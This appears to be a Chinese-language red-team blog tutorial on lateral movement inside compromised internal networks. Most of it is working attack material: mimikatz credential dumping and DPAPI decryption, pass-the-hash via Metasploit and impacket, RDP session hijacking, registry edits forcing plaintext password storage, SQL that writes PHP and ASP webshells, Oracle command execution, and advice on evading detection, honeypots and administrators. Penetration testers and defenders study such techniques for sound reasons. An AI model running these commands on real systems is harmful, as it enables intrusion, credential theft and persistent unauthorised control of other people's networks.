什么是內(nèi)網(wǎng)橫向攻擊
當(dāng)通過(guò)外部打點(diǎn)進(jìn)入到目標(biāo)內(nèi)網(wǎng)時(shí),需要利用現(xiàn)有的資源嘗試獲取更多的憑證與權(quán)限,進(jìn)而達(dá)到控制整個(gè)內(nèi)網(wǎng)、擁有最高權(quán)限、發(fā)動(dòng) APT (高級(jí)持續(xù)性威脅攻擊)等目地。
在攻防演練中,攻擊方需要在有限的時(shí)間內(nèi)近可能的獲取更多的權(quán)限,因此必須具備高效的橫向攻擊思路。本次對(duì)內(nèi)網(wǎng)橫向攻擊的技巧和方法進(jìn)行總結(jié)。
橫向攻擊注意事項(xiàng)
當(dāng)進(jìn)行內(nèi)網(wǎng)橫向攻擊前,需要對(duì)可能出現(xiàn)的問(wèn)題進(jìn)行預(yù)防。
1、權(quán)限丟失
webshell被發(fā)現(xiàn),網(wǎng)站關(guān)站,木馬后門被發(fā)現(xiàn),主機(jī)改為不出網(wǎng)環(huán)境等。當(dāng)遇到這些問(wèn)題,需要做好應(yīng)對(duì)措施,多方位的做好權(quán)限維持。
2、內(nèi)網(wǎng)防火墻與殺毒軟件
內(nèi)網(wǎng)防火墻,內(nèi)網(wǎng)態(tài)勢(shì)感知,內(nèi)網(wǎng)流量監(jiān)控,ids,ips等安全設(shè)備都會(huì)給橫向攻擊的開展造成很大的麻煩,應(yīng)對(duì)措施有,對(duì)傳輸流量進(jìn)行加密,修改cs流量特征,禁止大規(guī)模內(nèi)網(wǎng)探測(cè)掃描等等。
3、內(nèi)網(wǎng)蜜罐主機(jī),蜜罐系統(tǒng)
近年來(lái)攻防演練越來(lái)越多的防守方啟用蜜罐主機(jī),蜜罐系統(tǒng),一旦蜜罐捕捉到攻擊行為,并及時(shí)發(fā)現(xiàn)和處置,會(huì)導(dǎo)致權(quán)限丟失,前功盡棄。
4、運(yùn)維管理人員
內(nèi)網(wǎng)橫向攻擊盡可能與運(yùn)維管理人員的工作時(shí)間錯(cuò)開,盡量避免長(zhǎng)時(shí)間登錄administrator用戶,如激活guest用戶登錄。降低被發(fā)現(xiàn)的幾率。
內(nèi)網(wǎng)信息收集
內(nèi)網(wǎng)橫向攻擊是基于信息收集展開的,信息收集決定了橫向的廣度和深度,在實(shí)戰(zhàn)中橫向攻擊和信息收集是相輔相成、交替進(jìn)行的。
網(wǎng)段探測(cè)
探測(cè)當(dāng)前主機(jī)通信的其它網(wǎng)段。
常用的手法有:
1、ipconfig、ifconfig、arp -a等命令
2、配置文件中的連接記錄
3、瀏覽器記錄
4、遠(yuǎn)程連接記錄
。。。
端口服務(wù)探測(cè)
對(duì)內(nèi)網(wǎng)服務(wù)端口進(jìn)行掃描,根據(jù)開放的端口服務(wù)選擇橫向的方法。
7001,80,8080,11211,6379,1099,1090,8088,9081,9080,9090,3306,1433,1521,5432,27017,8069,9200,9300,8161,50075,50070,873,5984
可以使用goby自動(dòng)收集網(wǎng)段端口信息
其它信息收集
盡可能收集對(duì)橫向攻擊有價(jià)值的信息
如存放密碼的文件、運(yùn)行的進(jìn)程信息、敏感的日志信息等等。
主機(jī)橫向
收集密碼信息、通過(guò)rdp和ssh進(jìn)行主機(jī)橫向
內(nèi)網(wǎng)hash/明文密碼獲取
1、mimikatz抓取當(dāng)前主機(jī)用戶的hash密碼
privilege::debug
sekurlsa::logonPasswords
2、獲取rdp連接保存的密碼
查看用戶保存的憑證文件
shell dir /a %userprofile%\AppData\Local\Microsoft\Credentials\*
利用 mimikatz 獲取 guidMasterKey
mimikatz privilege::debug
mimikatz dpapi::cred /in:C:\Users\nuoyan\AppData\Local\Microsoft\Credentials\8FC163874708FE28788127CF58FF4843
查找對(duì)應(yīng)的 Masterkey
mimikatz sekurlsa::dpapi
使用Masterkey解密憑證文件獲取密碼明文
mimikatz dpapi::cred /in:C:\Users\nuoyan\AppData\Local\Microsoft\Credentials\8FC163874708FE28788127CF58FF4843 /masterkey:c0bf810227c26e7a523915e15*
pth
pth,指Pass-The-Hash,當(dāng)目標(biāo)機(jī)系統(tǒng)>=win server 2012時(shí),無(wú)法通過(guò)lsass.exe進(jìn)程中是抓取明文密碼,且隨著信息安全意識(shí)的提高,弱口令越來(lái)越少,經(jīng)常會(huì)遇到拿到hash卻解不開的情況。
cs/msf/impacket_smbexec
cs 自帶pth
msf_psexec模塊
use exploit/windows/smb/psexec
set rhosts 192.168.1.1
set smbuser administrator
set smbpass aad3b435b51404eeaad3b435b51404ee:0515322a55615056aaabb044a48463a4
impacket_smbexec
python smbexec.py -hash esaad3b435b51404eeaad3b435b51404ee:0515322a55615056aaabb044a48463a4 nuoyan@192.168.1.1
pth登錄遠(yuǎn)程rdp
對(duì)于server 2012系統(tǒng),直接使用mimikatz傳遞ntlm hash值登錄
privilege::debug
sekurlsa::pth /user:administrator /domain:127.0.0.1 /ntlm:32ed87bdb5fdc5e9cba88547376818d4 "/run:mstsc.exe /restrictedadmin"
win10系統(tǒng)報(bào)錯(cuò)
修改注冊(cè)表
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f
重新登錄
privilege::debug
sekurlsa::pth /user:administrator /domain:127.0.0.1 /ntlm:32ed87bdb5fdc5e9cba88547376818d4 "/run:mstsc.exe /restrictedadmin"
rdp劫持
支持多用戶登錄的系統(tǒng),system權(quán)限下切換到administrator用戶的桌面。
激活登錄guest用戶,然后使用sc命令切換到administrator用戶桌面。
query user
sc create tide binpath= "cmd.exe /k tscon 1 /dest:rdp-tcp#4" #修改為目標(biāo)會(huì)話id和當(dāng)前會(huì)話名
net start tide
rdp、ssh爆破
使用收集到的密碼構(gòu)造字典對(duì)rdp服務(wù)和ssh服務(wù)進(jìn)行爆破。
超級(jí)弱口令爆破工具
御劍rdp爆破工具
實(shí)戰(zhàn)遇到的問(wèn)題
1、服務(wù)器上安全了殺軟,mimikatz不免殺
解決方法:
cs自帶的mimikatz通過(guò)dll反射加載內(nèi)存具有一定的免殺性
內(nèi)網(wǎng)滲透-免殺抓取windows hash
http://www.lxweimin.com/p/00d70dc76678
2、服務(wù)器版本高或者安裝了補(bǔ)丁導(dǎo)致無(wú)法讀取明文密碼
解決方法:
修改注冊(cè)表
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
或者
powershell Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest -Name UseLogonCredential -Type DWORD -Value 1
強(qiáng)制鎖屏
cmd
rundll32 user32.dll,LockWorkStation
powershell
Function Lock-WorkStation
{
$signature = @"
[DllImport("user32.dll", SetLastError = true)]
public static extern bool LockWorkStation();
"@
$LockWorkStation = Add-Type -memberDefinition $signature -name "Win32LockWorkStation" -namespace Win32Functions -passthru
$LockWorkStation::LockWorkStation() | Out-Null
}
Lock-WorkStation
等待用戶登錄,重新抓取即可獲取明文密碼
未授權(quán)訪問(wèn)橫向
默認(rèn)密碼為空或者不存在密碼校驗(yàn)
常見(jiàn)的未授權(quán)訪問(wèn)服務(wù)有:
1、Redis 未授權(quán)訪問(wèn)漏洞
2、MongoDB 未授權(quán)訪問(wèn)漏洞
3、Jenkins 未授權(quán)訪問(wèn)漏洞
4、Memcached 未授權(quán)訪問(wèn)漏洞
5、JBOSS 未授權(quán)訪問(wèn)漏洞
6、VNC 未授權(quán)訪問(wèn)漏洞
7、Docker 未授權(quán)訪問(wèn)漏洞
8、ZooKeeper 未授權(quán)訪問(wèn)漏洞
9、Rsync 未授權(quán)訪問(wèn)漏洞
10、Atlassian Crowd 未授權(quán)訪問(wèn)漏洞
11、CouchDB 未授權(quán)訪問(wèn)漏洞
12、Elasticsearch 未授權(quán)訪問(wèn)漏洞
13、Hadoop 未授權(quán)訪問(wèn)漏洞
14、Jupyter Notebook 未授權(quán)訪問(wèn)漏洞
利用參考鏈接:
https://mp.weixin.qq.com/s/nufn9dYyswBSJWHvO0U0eQ
弱口令橫向
tomcat/weblogic/jboss弱口令
登錄控制臺(tái)部署war包getshell
Tomcat
參考鏈接:https://www.cnblogs.com/qianxinggz/p/13440366.html
Weblogic
參考鏈接:https://www.cnblogs.com/bmjoker/p/9822886.html
Jboss
參考鏈接:https://blog.csdn.net/weixin_41598660/article/details/108320489
FTP弱口令
文件傳輸協(xié)議默認(rèn)端口21
利用參考鏈接:https://www.cnblogs.com/renhaoblog/p/13065978.html
Telnet弱口令
在內(nèi)網(wǎng)中主要是一些防火墻、路由器、交換器等網(wǎng)絡(luò)設(shè)備使用,在使用了弱口令的情況下可以登錄Telnet對(duì)設(shè)備配置進(jìn)行更改。
Axis2
默認(rèn)賬號(hào)admin密碼axis2
通過(guò)部署惡意aar包getshell
利用參考鏈接:http://sunu11.com/2018/11/03/Axis2%20getshell/
數(shù)據(jù)庫(kù)橫向
通過(guò)信息收集查找配置文件中數(shù)據(jù)庫(kù)連接地址、賬戶密碼信息。
常見(jiàn)的配置文件有 web.config、config.php、db.properties 等等
通過(guò)命令行進(jìn)行查找
windows
findstr /si password config.* *.ini *.txt *.properties
linux
find / -name *.properties
grep -r "查詢內(nèi)容" 文件目錄
把收集到的密碼與常見(jiàn)密碼構(gòu)造字典,對(duì)內(nèi)網(wǎng)所有數(shù)據(jù)庫(kù)進(jìn)行密碼爆破。
使用超級(jí)弱口令工具導(dǎo)入開放了服務(wù)的ip地址,選擇構(gòu)造的特殊字典進(jìn)行爆破。
mysql
利用方法:
1、udf執(zhí)行系統(tǒng)命令
參考http://www.lxweimin.com/p/c29cd986e792
2、網(wǎng)站目錄寫shell
into outfile寫文件(適用于低版本的mysql)
select 16進(jìn)制木馬 into outfile '/var/www/jumbo.php';
日志寫shell
set global general_log = on;
set global general_log_file = 'C:/phpStudy/WWW/tide.php';
select '<?php @assert($_POST["tide"]); ?>';
set global general_log = off;
mssql
1、xp_cmdshell 執(zhí)行系統(tǒng)命令
2、sp_oacreate 執(zhí)行系統(tǒng)命令
3、通過(guò)沙盒執(zhí)行命令
4、通過(guò)Agent Job執(zhí)行命令
5、SQL Server CLR
6、網(wǎng)站目錄寫shell
具體操作可參考:
https://www.cnblogs.com/R4v3n/articles/9072549.html#menu_index_5
實(shí)戰(zhàn)中遇到過(guò)的問(wèn)題:
1、不支持對(duì)系統(tǒng)目錄進(jìn)行即席更新
解決方法:
EXEC sp_configure ‘a(chǎn)llow_updates
EXEC sp_configure 'allow_updates',0;
RECONFIGURE WITH OVERRIDE;
2、服務(wù)器存在防護(hù)或者其它原因?qū)е聼o(wú)法執(zhí)行命令
服務(wù)器開啟了web服務(wù),但是沒(méi)暴露網(wǎng)站絕對(duì)路徑
解決方法:
第一步:使用SQLTOOLS DOS命令功能不可用,文件管理功能能正常使用
在網(wǎng)站中尋找一個(gè)特征明顯的文件名,通過(guò)SQLTOOLS的文件管理功能去查找得到web絕對(duì)路徑。
第二步:向web路徑下寫webshell
1、sp_makewebtask寫文件
declare @s nvarchar(4000);select @s=0x730065006c00650063007400200027003c00250045007800650063007500740065002800720065007100750065007300740028002200610022002900290025003e000d000a002700;exec sp_makewebtask 0x43003a005c007a00770065006c006c002e00610073007000, @s;
exec sp_makewebtask 'c:\www\testwr.asp','select''<%execute(request("a"))%>'' '
2、存儲(chǔ)過(guò)程寫文件
declare @o int, @f int, @t int, @ret int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'createtextfile', @f out, 'c:\inetpub\cbd.asp', 1
exec @ret = sp_oamethod @f, 'writeline', NULL,'<%execute(request("a"))%>'
3、log備份寫文件
alter database 庫(kù)名 set RECOVERY FULL
create table cmd (a image)
backup log 庫(kù)名 to disk = 'c:\' with init
insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253E)
backup log 庫(kù)名 to disk = 'c:\2.asp'
4、差異備份寫文件
backup database 庫(kù)名 to disk = 'c:\bak.bak';
create table [dbo].[test] ([cmd] [image]);
insert into test(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
backup database 庫(kù)名 to disk='C:\d.asp' WITH DIFFERENTIAL,FORMAT;
oracle
1、創(chuàng)建JAVA包
select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}}'';commit;end;') from dual;
2、JAVA權(quán)限
select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''begin dbms_java.grant_permission( ''''SYSTEM'''', ''''SYS:java.io.FilePermission'''', ''''<<ALL FILES>>'''',''''EXECUTE'''');end;''commit;end;') from dual;
3、創(chuàng)建函數(shù)
select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''LinxUtil.runCMD(java.lang.String) return String''''; '';commit;end;') from dual;
4、執(zhí)行命令
select LinxRUNCMD('whoami') from dual;
還可以嘗試oracleshell工具執(zhí)行命令
其它數(shù)據(jù)庫(kù)
rdis、mangodb、CouchDB數(shù)據(jù)庫(kù)默認(rèn)存在未授權(quán)訪問(wèn)漏洞、設(shè)置了弱口令密碼的情況下可以進(jìn)行利用。
參考酒仙橋六號(hào)部隊(duì)師傅們的文章
PostgreSQL
https://mp.weixin.qq.com/s/E-MHrTOaTd6NJ7-G2qXJhA
NoSQL
https://mp.weixin.qq.com/s/S-ICnK6jWSEr1Cg7_dVYbQ
反序列化rce
shiro反序列化
shiro指紋:
set-Cookie: rememberMe=deleteMe
url中存在 jsessionid=579437C993DE553A887A879FF6D18CFC
利用工具:
感謝飛鴻大佬
https://github.com/feihong-cs/ShiroExploit
weblgoic
利用各種反序列化漏洞直接rce
21superman大佬寫的利用工具
https://github.com/21superman/weblogic_exploit
rmi
小天之天師傅的利用工具
內(nèi)核漏洞橫向
ms17010
Ehernal Blue通過(guò)Tcp端口445和139來(lái)利用SMBv1和NBT中的遠(yuǎn)程代碼執(zhí)行漏。
容易造成目標(biāo)服務(wù)器藍(lán)屏,謹(jǐn)慎使用
漏洞檢測(cè):
漏洞利用:
cs插件:
下載地址:https://github.com/phink-team/Cobaltstrike-MS17-010
cs安裝下載的插件,導(dǎo)入aggressor.cna文件
msf 模塊:search ms17_010
方程式利用工具
參考鏈接:
內(nèi)網(wǎng)滲透-不出網(wǎng)滲透技巧
http://www.lxweimin.com/p/ce5e8fac1abf
cve-2019-0708
暫時(shí)沒(méi)有好用的exp
cve-2020-0796
永恒之黑漏洞只能用于win10,利用條件多且容易造成目標(biāo)宕機(jī),不推薦利用。
利用參考鏈接:
https://blog.csdn.net/god_zzZ/article/details/106569237
其它橫向手段
內(nèi)網(wǎng)常規(guī)web打點(diǎn)
思路:當(dāng)其它橫向手段陷入困境時(shí)可以嘗試在內(nèi)網(wǎng)中進(jìn)行常規(guī)web打點(diǎn),打開突破口。
探測(cè)網(wǎng)段中的web服務(wù),選擇使用小米范web查找器
以獲取服務(wù)器權(quán)限為目的進(jìn)行web打點(diǎn)
常用的利用漏洞有:文件上傳漏洞、中間件框架漏洞、sql注入
文件上傳漏洞:尋找上傳點(diǎn),上傳webshell獲取服務(wù)器權(quán)限
中間件框架漏洞:直接獲取服務(wù)器權(quán)限、種類繁多、考驗(yàn)個(gè)人積累。
通用系統(tǒng)rce漏洞:利用各種cms、通用系統(tǒng)漏洞,獲取服務(wù)器權(quán)限,考驗(yàn)個(gè)人積累。
sql注入:sql注入獲取web登錄密碼,寫入webshell、os-shell執(zhí)行命令
。。。
中間人攻擊
特點(diǎn):動(dòng)靜大、效率低
適合長(zhǎng)期的滲透工作,如APT。不適合短期以拿權(quán)限為目的的攻防演練。
常用的攻擊手法有ARP欺騙流量嗅探、DNS劫持釣魚。
利用參考鏈接:
http://www.lxweimin.com/p/00eb597e9fbc
http://www.lxweimin.com/p/63faa148102d
總結(jié)
對(duì)內(nèi)網(wǎng)滲透中常用橫向攻擊手段進(jìn)行了總結(jié),未包含域環(huán)境下的橫向技術(shù)。
由于環(huán)境、人員等因素實(shí)戰(zhàn)中橫向時(shí)會(huì)遇到各種各樣的問(wèn)題,因此需要大量的知識(shí)和經(jīng)驗(yàn)積累,后續(xù)會(huì)結(jié)合實(shí)戰(zhàn)繼續(xù)對(duì)橫向技巧和利用方法進(jìn)行完善補(bǔ)充。